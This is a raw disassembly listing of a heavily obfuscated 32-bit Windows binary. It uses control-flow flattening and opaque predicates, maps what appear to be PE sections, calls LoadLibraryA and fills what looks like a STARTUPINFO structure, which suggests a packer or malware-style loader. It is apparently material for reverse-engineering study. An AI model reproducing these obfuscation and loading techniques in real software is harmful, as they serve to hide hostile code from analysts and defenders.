mov eax, 0xa584a2f2
cmovne eax, esi
test cl, cl
not dl
mov ecx, 0xa584a2f2
cmove eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402260
cmp eax, 0xfeb520d9
je 0x40d235
cmp eax, 0xff4f75d6
je 0x40d23f
cmp eax, 0xff5d855e
jne 0x402260
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x160]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0xc]
add eax, dword [ebp - 0x158]
mov dword [ebp - 0x168], 0x444000
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8 + 0x14]
mov dword [ebp - 0x16c], eax
mov eax, 0x752d1cb1
jmp 0x402260
cmp eax, 0x820b5f5c
je 0x40d322
cmp eax, 0x8253d0a0
je 0x40d3e5
cmp eax, 0x8647696e
jne 0x402260
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x6733afd
mov eax, edx
and eax, 0xb1334908
and ecx, edx
not edx
and edx, 0x4eccb6f7
or eax, edx
mov edx, eax
xor eax, 0x64032f5
xor edx, 0x210808
or eax, 0xf98cc502
and edx, 0x6213ab9
mov esi, eax
and esi, 0x69da0146
or edx, esi
mov esi, ecx
not esi
and ecx, 0x9625feb9
or eax, esi
and esi, 0x69da0146
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7b2b6574
and ecx, 0x84d49a8b
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0xa28030
xor edx, 0x7d585f89
xor ecx, 0x7d585f88
and ecx, edx
and eax, 0x50a29639
and edx, 0xaf5d69c6
or edx, eax
mov eax, ecx
not eax
and ecx, 0xeb6c91f1
mov esi, eax
and esi, 0x14936e0e
or ecx, esi
mov esi, edx
xor esi, 0xab4c01c1
xor edx, 0x50a29638
or eax, edx
and edx, 0x14936e0e
and esi, 0xeb6c91f1
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xdefee5db
mov ecx, eax
not ecx
and eax, 0x1dc6c763
and ecx, 0xe239389c
or eax, ecx
mov ecx, eax
xor ecx, 0x14c20322
xor eax, 0xa038209c
and ecx, 0x56c31b22
and eax, 0xa93ce4dd
or eax, ecx
xor eax, 0xa93ce4dd
setne ch
sete ah
cmp dword [0x460980], 0xa
mov dl, ch
setge cl
setl al
mov dh, cl
or dl, cl
and cl, ah
xor dh, ch
and ch, al
or al, ah
or cl, ch
and dl, dh
xor cl, 1
mov ah, cl
or cl, al
xor ah, al
not cl
or cl, ah
mov eax, 0xf20bc642
xor cl, dl
and cl, 1
cmovne eax, esi
test cl, dl
mov edx, 0xf20bc642
cmove eax, esi
jmp 0x40f83f
cmp eax, 0x426893ed
je 0x40d5a7
cmp eax, 0x42710f4a
je 0x40d5c2
cmp eax, 0x42b9b0b9
jne 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x68b3545d
mov edi, edx
mov esi, ecx
and esi, 0x4732bdd1
and edi, 0x904c0222
and edx, 0x38569f50
or edi, esi
mov esi, eax
xor esi, 0x974caba2
and esi, eax
and eax, 0xc7a960af
mov ebx, esi
not ebx
and esi, 0xb8cd422e
or eax, edx
or ecx, ebx
and ebx, 0x4732bdd1
mov edx, eax
xor edx, 0xc7a960af
xor eax, 0x38569f50
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
not esi
and esi, 0x68b3545c
and ecx, 0x974caba3
or ecx, esi
mov esi, 0x93cde0ea
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne cl
cmp dword [0x460980], 0xa
mov ah, cl
setl dl
setge al
or al, cl
xor cl, dl
or ah, dl
not cl
xor ah, 1
and cl, dl
or cl, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or dl, ah
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x3ca9c111
cmovne eax, esi
test dl, dl
mov edx, 0x3ca9c111
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402260
cmp eax, 0xbe5000ae
je 0x40d6b0
cmp eax, 0xbed3c137
je 0x40d6c6
cmp eax, 0xbfacec0a
jne 0x402260
mov eax, dword [0x460984]
mov esi, 0x168147c6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x44c1a8da
and ecx, 0xbb3e5725
or ecx, eax
xor ecx, 0x44c1a8da
setne al
sete cl
cmp dword [0x460980], 0xa
mov ah, al
setl dl
mov ch, dl
or ah, dl
xor al, dl
or ch, cl
xor cl, dl
xor ah, 1
and cl, dl
mov dl, ch
xor dl, al
or al, ch
or cl, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x478f3e9e
jmp 0x410b1b
cmp eax, 0x22f3fafd
je 0x40d81f
cmp eax, 0x23f8df08
je 0x40d829
cmp eax, 0x2437b99e
jne 0x402260
mov eax, 0xa584a2f2
jmp 0x402260
cmp eax, 0xa0765ca3
je 0x40d8cc
cmp eax, 0xa167334a
je 0x40daa7
cmp eax, 0xa16df06c
jne 0x402260
mov eax, 0xb88e886
jmp 0x402260
cmp eax, 0x6652b5fb
je 0x40dac8
cmp eax, 0x667ff946
je 0x40dadb
cmp eax, 0x6708878b
jne 0x402260
mov eax, dword [ebp - 0x118]
mov eax, 0xbad50004
jmp 0x402260
cmp eax, 0xed60fcc4
je 0x40dae5
cmp eax, 0xedaccdbc
je 0x40dc82
cmp eax, 0xf0423b25
jne 0x402260
mov eax, 0x7dc87c37
jmp 0x402260
cmp eax, 0x15a5064f
je 0x40dc9b
cmp eax, 0x1646b763
je 0x40dca5
cmp eax, 0x168147c6
jne 0x402260
mov eax, dword [ebp - 0xbc]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov dword [eax], 0
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x73d56c22
and ecx, 0xce538ed9
mov edx, eax
and edx, 0x8c2a93dc
or esi, edx
mov edx, eax
or edx, 0xcee5b7d8
and eax, 0x31ac7126
mov edi, esi
xor edi, 0x31104822
xor esi, 0x8c2093d9
and edx, 0xcee5b7d9
or eax, ecx
and esi, 0xcee5b7d9
and edi, 0x311a4826
or edi, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x31ac7126
mov edi, esi
and edi, 0xce538ed9
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x77cf98f1
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x460980], 0xa
setge cl
setl al
xor cl, ah
or ah, al
xor ah, 1
and cl, al
or cl, ah
mov ah, dl
xor ah, al
or al, dl
mov ch, cl
xor al, 1
xor ch, 1
or al, ah
mov edx, eax
not dl
and dl, ch
or ch, al
and al, cl
or al, dl
mov edx, 0x478f3e9e
mov cl, al
xor cl, ch
test al, 1
mov eax, 0x478f3e9e
cmovne eax, esi
test ch, ch
jmp 0x411767
cmp eax, 0x9326923b
je 0x40de01
cmp eax, 0x93cde0ea
je 0x40def4
cmp eax, 0x93fafd88
jne 0x402260
mov eax, dword [0x460984]
mov esi, 0x3ee8933b
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x77b5d130
and edx, 0x884a2ecf
or eax, edx
mov edx, eax
not edx
and eax, 0x884a2ece
and edx, 0x77b5d131
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x460980], 0xa
mov ah, cl
setl ch
setge al
and cl, ch
and ah, al
and ch, dl
or ch, ah
mov ah, ch
xor ah, al
and al, dl
mov edx, 0x88737a26
and ah, ch
or al, cl
mov cl, ah
xor ah, al
xor al, 1
xor cl, 1
or al, cl
mov ecx, eax
xor cl, ah
test ah, ah
cmovne edx, esi
test al, al
mov eax, 0x88737a26
jmp 0x40f9ce
cmp eax, 0x55806428
je 0x40defe
cmp eax, 0x55f98d7a
je 0x40df35
cmp eax, 0x56075030
jne 0x402260
mov eax, dword [0x460984]
mov edi, 0x1263bd1d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa0180800
mov edx, eax
and edx, 0x158752a8
and eax, 0x4a60a557
or ecx, edx
xor ecx, 0xa0180800
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 1
and eax, 0x60467ae2
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x9fb9851c
or eax, esi
mov esi, edx
not esi
and edx, 0x60467ae3
or ecx, esi
and esi, 0x9fb9851c
or edx, esi
not ecx
mov esi, 0x4478a290
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xd5442dcd
and eax, 0x2abbd232
or eax, ecx
mov ecx, eax
xor ecx, 0xc4442840
xor eax, 0x8389222
and ecx, 0xe6c76850
and eax, 0x193897af
or eax, ecx
xor eax, 0x193897af
sete cl
setne ch
cmp dword [0x460980], 0xa
setge dl
mov ah, dl
mov dh, dl
xor ah, ch
or dh, cl
mov al, ah
and al, cl
and cl, dl
xor al, 1
mov ebx, eax
or al, dh
xor bl, dh
mov dh, dl
or dl, ch
xor al, 1
inc dh
xor dl, 1
or al, bl
and dh, ch
or dl, ah
or cl, dh
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
xor cl, al
test cl, 1
mov ecx, 0x1263bd1d
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, edi
test al, 1
jmp 0x410994
cmp eax, 0xd106fa04
je 0x40df3f
cmp eax, 0xd15fc096
je 0x40df49
cmp eax, 0xd220617c
jne 0x402260
mov eax, 0x352547a4
jmp 0x402260
cmp eax, 0x34a3cb30
je 0x40df53
cmp eax, 0x34d9e158
je 0x40e0d7
cmp eax, 0x34fd0a99
jne 0x402260
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], 0x10
mov eax, 0x8a8dd4f2
jmp 0x402260
cmp eax, 0xaa873999
je 0x40e0e1
cmp eax, 0xab69fdf4
je 0x40e1af
cmp eax, 0xadbc636b
jne 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
not eax
or esi, 1
and ecx, 0x1a69445f
mov edx, eax
mov edi, eax
or edx, 0x58f5b8dc
and esi, 0x58f5b8dd
and edi, 0xa70a4722
and eax, 0xe596bba0
or edi, esi
and edx, 0x58f5b8dd
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0xe596bba0
mov edi, esi
and edi, 0x1a69445f
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x9ce693d7
xor eax, 0xffffffff
sete dl
setne al
cmp dword [0x460980], 0xa
setge cl
mov ah, cl
xor ah, al
or al, cl
or cl, dl
and ah, dl
xor cl, 1
mov edx, eax
or cl, ah
not dl
mov ah, cl
and cl, al
xor ah, 1
or al, ah
and ah, dl
mov edx, 0x7bb74da0
or ah, cl
mov cl, ah
xor cl, al
test ah, ah
cmovne edx, esi
test al, al
mov eax, 0x7bb74da0
jmp 0x40f9ce
cmp eax, 0x72ee9153
je 0x40e2a6
cmp eax, 0x7439bd93
je 0x40e2b0
cmp eax, 0x752d1cb1
jne 0x402260
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
add eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x34]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
push dword [ebp - 0x164]
vzeroupper
call fcn.004307e0
add esp, 0xc
mov eax, 0xd7109afd
jmp 0x402260
cmp eax, 0xe00275e7
je 0x40e4b5
cmp eax, 0xe0514b35
je 0x40e63e
cmp eax, 0xe05e630c
jne 0x402260
mov eax, 0x656b4418
jmp 0x402260
cmp eax, 0xa541a6c
je 0x40e648
cmp eax, 0xb166f57
je 0x40e652
cmp eax, 0xb88e886
jne 0x402260
mov eax, dword [ebp - 0x78]
mov eax, 0x2811d4be
jmp 0x402260
cmp eax, 0x8c9737cc
je 0x40e6a2
cmp eax, 0x8ddf21ec
je 0x40e752
cmp eax, 0x8e187eed
jne 0x402260
mov dword [ebp - 0x24], 0xc
mov eax, 0x8ae208ca
jmp 0x402260
cmp eax, 0x494009e9
je 0x40e75c
cmp eax, 0x49dadbad
je 0x40e766
cmp eax, 0x4b7c21a3
jne 0x402260
mov eax, 0x9a068c4f
jmp 0x402260
cmp eax, 0xc8f2d219
je 0x40e770
cmp eax, 0xc923858a
je 0x40e86e
cmp eax, 0xca9cf5ad
jne 0x402260
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0xac]
mov ecx, dword [0x460984]
mov esi, 0xa061c216
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x409c78b6
and ecx, 0xbf638748
or edx, ecx
mov ecx, eax
xor ecx, 0xfffffffe
xor edx, 0x409c78b6
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne cl
sete ah
cmp dword [0x460980], 0xa
setl dl
setge al
or dl, cl
mov ecx, eax
xor cl, ah
xor dl, 1
xor cl, 1
or cl, al
or al, ah
mov ah, cl
xor al, 1
xor ah, 1
or al, dl
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x1646b763
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x1646b763
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402260
cmp eax, 0x2cecab2d
je 0x40e883
cmp eax, 0x2de1b92d
je 0x40e89c
cmp eax, 0x2e53e5a2
jne 0x402260
mov eax, dword [ebp - 0xa8]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x80]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x44]
mov eax, 0x7e763be3
jmp 0x402260
cmp eax, 0xa584a2f2
je 0x40ea6d
cmp eax, 0xa5dd31c6
je 0x40ebed
cmp eax, 0xa601e3a5
jne 0x402260
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x1ac], eax
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x176289a
and ecx, 0xfe89d765
or ecx, edx
mov eax, ecx
mov edx, ecx
xor ecx, 0xfe89d764
xor eax, 0x176289a
xor edx, 0x176289b
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x85e57778
mov esi, ecx
and esi, 0x7a1a8887
or edx, esi
mov esi, eax
not esi
and eax, 0x85e57778
or ecx, esi
and esi, 0x7a1a8887
or eax, esi
not ecx
mov esi, 0xa541a6c
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x469e0895
and eax, 0xb961f76a
or ecx, eax
xor ecx, 0x469e0895
setne dl
sete ah
cmp dword [0x460980], 0xa
mov ecx, edx
setl ch
setge al
and dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
and al, ah
and cl, ch
or al, dl
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, al
xor al, 1
xor ah, al
and al, cl
and ah, cl
or al, dl
mov edx, 0xb547318c
mov cl, ah
xor cl, al
test al, al
cmovne edx, esi
test ah, ah
mov eax, 0xb547318c
cmove edx, eax
test cl, 1
cmovne edx, esi
mov eax, edx
jmp 0x402260
cmp eax, 0x6a32211a
je 0x40ed52
cmp eax, 0x6a52022d
je 0x40f08d
cmp eax, 0x6b20c9ba
jne 0x402260
cmp byte [ebp - 0x92], 0
mov eax, 0xc923858a
mov ecx, 0xa167334a
cmovne eax, ecx
jmp 0x402260
cmp eax, 0xf37ca52d
je 0x40f1dc
cmp eax, 0xf4289194
je 0x40f2ba
cmp eax, 0xf45aac31
jne 0x402260
push dword [ebp - 0x11c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, 0x32e72057
jmp 0x402260
cmp eax, 0x1b651999
je 0x402180
cmp eax, 0x1c60048a
je 0x40f3e2
cmp eax, 0x1c7130b8
jne 0x402260
mov eax, 0x51d4a086
jmp 0x402260
cmp eax, 0x9a161094
je 0x40f3ec
cmp eax, 0x9b5a4a9e
je 0x40f40e
cmp eax, 0x9c7b60b7
jne 0x402260
mov eax, dword [ebp - 0x4c]
mov eax, dword [0x460984]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0xe8068aa1
and eax, 0x17f9755e
or esi, eax
mov ecx, esi
xor ecx, 0xe8068aa1
xor esi, 0x17f9755e
mov eax, esi
mov edx, ecx
or eax, 1
and esi, 0xfffffffe
and edx, 1
and ecx, 0xb0a6488c
or edx, esi
mov esi, eax
and esi, 0x4f59b772
or ecx, esi
mov esi, edx
not esi
and edx, 0xb0a6488d
or eax, esi
and esi, 0x4f59b772
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x24a6bbf5
and edx, 0xdb59440a
or edx, esi
mov esi, ecx
not esi
and ecx, 0xdb59440a
or eax, esi
and esi, 0x24a6bbf5
or ecx, esi
not eax
mov esi, 0x5a460215
xor ecx, edx
or eax, ecx
sete ah
cmp dword [0x460980], 0xa
setge dl
setl cl
mov al, dl
or dl, ah
xor al, ah
not al
and al, ah
xor al, 1
mov ch, al
or al, dl
xor ch, dl
mov edx, ecx
or cl, ah
xor al, 1
xor dl, ah
mov ah, cl
or al, ch
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, al
mov ecx, edx
xor ah, 1
xor cl, 1
and cl, ah
or ah, dl
and dl, al
or dl, cl
mov ecx, 0x5a460215
mov al, dl
xor al, ah
test dl, 1
mov edx, 0xb03df339
cmovne ecx, edx
test ah, 1
cmovne ecx, esi
jmp 0x4092b5
cmp eax, 0x5bae70e2
je 0x40f6e5
cmp eax, 0x5c4db91e
je 0x40f7a4
cmp eax, 0x5d394be4
jne 0x402260
cmp byte [ebp - 0xa1], 0
mov eax, 0x6293f578
mov ecx, 0x117b5ff1
cmovne eax, ecx
jmp 0x402260
cmp eax, 0xd81cd233
je 0x40f84c
cmp eax, 0xd9408291
je 0x40f8fa
cmp eax, 0xd9510f0d
jne 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x44042040
mov ecx, edx
and ecx, 0x26100b8
and edx, 0x78fbf4f2
or esi, ecx
mov ecx, eax
xor ecx, 0x466520f8
and ecx, eax
xor esi, 0x44042040
and eax, 0x87040b0d
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x7e19ef38
and esi, 0x81e610c7
or ecx, esi
mov esi, 0x96f37050
mov edi, ecx
xor edi, 0x38604241
xor ecx, 0xc783303e
mov edx, ecx
and edx, 0xc61f9d90
and edi, 0x39e0626f
or edi, edx
mov edx, eax
xor edx, 0x100020d
xor eax, 0x401b9490
and eax, 0xc61f9d90
and edx, 0x39e0626f
or edx, eax
xor edx, edi
xor ecx, edx
test ecx, edx
sete dl
setne cl
cmp dword [0x460980], 0xa
setge ah
mov ch, ah
xor dl, ah
xor ch, cl
or cl, ah
mov ah, dl
mov al, ch
and al, cl
xor cl, 1
or cl, ch
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor dl, al
xor al, 1
xor cl, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xeb466bd4
cmovne ecx, esi
test dl, 1
mov esi, 0xeb466bd4
mov edx, ecx
cmovne edx, esi
test al, 1
jmp 0x410e73
cmp eax, 0x3bb5e532
je 0x40f90a
cmp eax, 0x3ca9c111
je 0x40f9d9
cmp eax, 0x3d397e64
jne 0x402260
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
mov eax, 0xd7d62413
jmp 0x402260
cmp eax, 0xb6fc8b92
je 0x40fb07
cmp eax, 0xb80f78af
je 0x41001b
cmp eax, 0xb87606ca
jne 0x402260
mov eax, dword [ebp - 0x74]
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x565b8730
mov edx, ecx
and edx, 0xa9a448cf
and ecx, 0x1c64cb27
or esi, edx
mov edx, eax
xor edx, 0xffffcfff
and edx, eax
and eax, 0xe39b34d8
xor esi, 0x565b8730
or edx, esi
or eax, ecx
not edx
xor eax, 0xe39b34d8
or eax, edx
mov ecx, eax
not ecx
and eax, 0x81727457
and ecx, 0x7e8d8ba8
or eax, ecx
mov ecx, dword [0x460984]
cmp eax, 0x81727457
setne byte [ebp - 0x96]
lea eax, [ecx + 1]
imul eax, ecx
mov edi, eax
mov edx, eax
xor edx, 0x71111fc8
not edi
mov ecx, edi
and edx, eax
and ecx, 0x71111fc8
and edi, 0x21a2d7e8
and eax, 0xde5d2817
or edx, ecx
or eax, edi
mov ecx, edx
not ecx
and edx, 0xa2deee34
and ecx, 0x5d2111cb
or edx, ecx
mov ecx, edx
xor edx, 0x28200c02
xor ecx, 0xd3cff1fd
mov esi, ecx
and esi, 0xd55d7334
and edx, 0x2aa28ccb
or edx, esi
mov esi, eax
xor esi, 0xa000803
xor eax, 0x21a2d7e8
or ecx, eax
and eax, 0xd55d7334
and esi, 0x2aa28ccb
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x9a161094
mov eax, ecx
not eax
and ecx, 0x77bb2777
and eax, 0x8844d888
or ecx, eax
xor ecx, 0x77bb2777
sete ah
setne ch
cmp dword [0x460980], 0xa
mov al, ah
setl dl
mov cl, dl
xor al, dl
xor cl, ch
or ch, dl
xor al, 1
not cl
xor ch, 1
and cl, dl
or dl, ah
mov ah, dl
or cl, ch
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd15fc096
cmovne ecx, esi
test al, 1
mov eax, 0xd15fc096
jmp 0x402252
cmp eax, 0x7b2c2112
je 0x41014b
cmp eax, 0x7b964623
je 0x410164
cmp eax, 0x7ba337c7
jne 0x402260
mov eax, 0x7439bd93
jmp 0x402260
cmp eax, 0xe539d5e9
je 0x410193
cmp eax, 0xe675f973
je 0x410293
cmp eax, 0xe7a0619a
jne 0x402260
mov eax, dword [ebp - 0x48]
mov ecx, dword [0x460984]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x184], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xd5489774
mov esi, eax
and esi, 0x2ab7688b
mov edx, eax
not edx
andn ecx, eax, ecx
and edx, 0x9b817f8a
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x2ab7688a
and esi, 0xd5489775
or ecx, esi
mov esi, eax
and esi, 0x647e8075
and eax, 1
or esi, edx
xor esi, 0x9b817f8b
or eax, esi
mov edx, eax
not edx
and eax, 0x9eaeaa
and edx, 0xff615155
or eax, edx
xor eax, 0x9eaeaa
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x83301200
and eax, 0x44ca04c9
mov edx, ecx
and edx, 0x4116
or ecx, 0x80000110
or esi, edx
and ecx, 0xb805a930
mov edx, esi
xor edx, 0x3301200
xor esi, 0x3805a930
or eax, ecx
and esi, 0xb805a930
and edx, 0x3305206
or edx, esi
mov esi, 0x21872bbc
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xd4292bfa
and ecx, 0x2bd6d405
or eax, ecx
mov ecx, eax
xor ecx, 0x121800ac
xor eax, 0xa8e68713
mov edx, eax
and edx, 0x4d677851
and ecx, 0xb29887ae
or ecx, edx
xor ecx, 0x4d677851
xor eax, ecx
test eax, ecx
setne al
sete cl
cmp dword [0x460980], 0xa
setl dl
setge ah
or dl, cl
xor al, ah
xor cl, ah
xor dl, 1
or al, dl
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ah, dl
or dl, al
xor ah, al
xor dl, 1
or al, cl
or dl, ah
xor dl, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x8ddf21ec
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x8ddf21ec
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x402260
cmp eax, 0x430727b
je 0x4103b2
cmp eax, 0x53bdf77
je 0x410496
cmp eax, 0x570ca20
jne 0x402260
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x10c]
mov eax, dword [0x460984]
lea ecx, [eax + 1]
setb byte [ebp - 0x94]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0x5d30cb9d
and eax, 0xa2cf3462
or eax, ecx
xor eax, 0xa2cf3463
or eax, edx
mov esi, eax
or esi, 0x9cc90024
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x6336375a
and ecx, eax
and esi, 0xbdf93664
and edx, 0x4206011a
or edx, esi
mov esi, ecx
not esi
and ecx, 0x4206c99b
or eax, esi
and esi, 0xbdf93664
or ecx, esi
not eax
mov esi, 0xf2b09147
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x9cc9c8a5
and eax, 0x6336375a
or eax, ecx
setne dl
sete ah
cmp dword [0x460980], 0xa
setge al
setl cl
and dl, cl
and al, ah
or cl, ah
or al, dl
xor cl, 1
mov ah, al
or cl, al
xor ah, 1
mov ch, cl
mov dl, ah
xor ah, cl
xor cl, 1
and ch, al
and dl, cl
or cl, al
xor cl, 1
or dl, ch
or cl, ah
mov eax, 0x2cecab2d
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, dl
mov edx, 0x2cecab2d
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x402260
cmp eax, 0x89c4bbe2
je 0x4107c7
cmp eax, 0x8a8dd4f2
je 0x4107d1
cmp eax, 0x8ae208ca
jne 0x402260
mov eax, dword [0x460984]
mov dword [ebp - 0x24], 0xc
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x38f385be
mov esi, edx
and esi, 0xc70c7a41
and edx, 0x95ae3952
or eax, esi
mov edi, eax
xor eax, 0x840c2201
xor edi, 0x84
or eax, 0x5b835c5a
and edi, 0x40c2284
mov esi, eax
and esi, 0xf072c171
or edi, esi
mov esi, ecx
xor esi, 0xa47ca3a5
and esi, ecx
and ecx, 0x6a51c6ad
mov ebx, esi
not ebx
and esi, 0xf8d3e8e
or ecx, edx
or eax, ebx
and ebx, 0xf072c171
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0xa47ca3a4
and esi, 0x5b835c5b
or eax, esi
mov esi, eax
not esi
and eax, 0x84349df3
and esi, 0x7bcb620c
or eax, esi
mov esi, 0x2057bc6a
mov edi, eax
xor edi, 0x4301001
xor eax, 0x7bcb620c
mov edx, eax
and edx, 0x9187cff2
and edi, 0x6e78300d
or edi, edx
mov edx, ecx
xor edx, 0x6a50000d
xor ecx, 0x95ae3952
or eax, ecx
and ecx, 0x9187cff2
and edx, 0x6e78300d
or edx, ecx
not eax
xor edx, edi
mov edi, 0x8e187eed
or eax, edx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x460980], 0xa
mov ah, cl
setl ch
setge al
or cl, ch
and ah, al
and ch, dl
or ch, ah
xor cl, 1
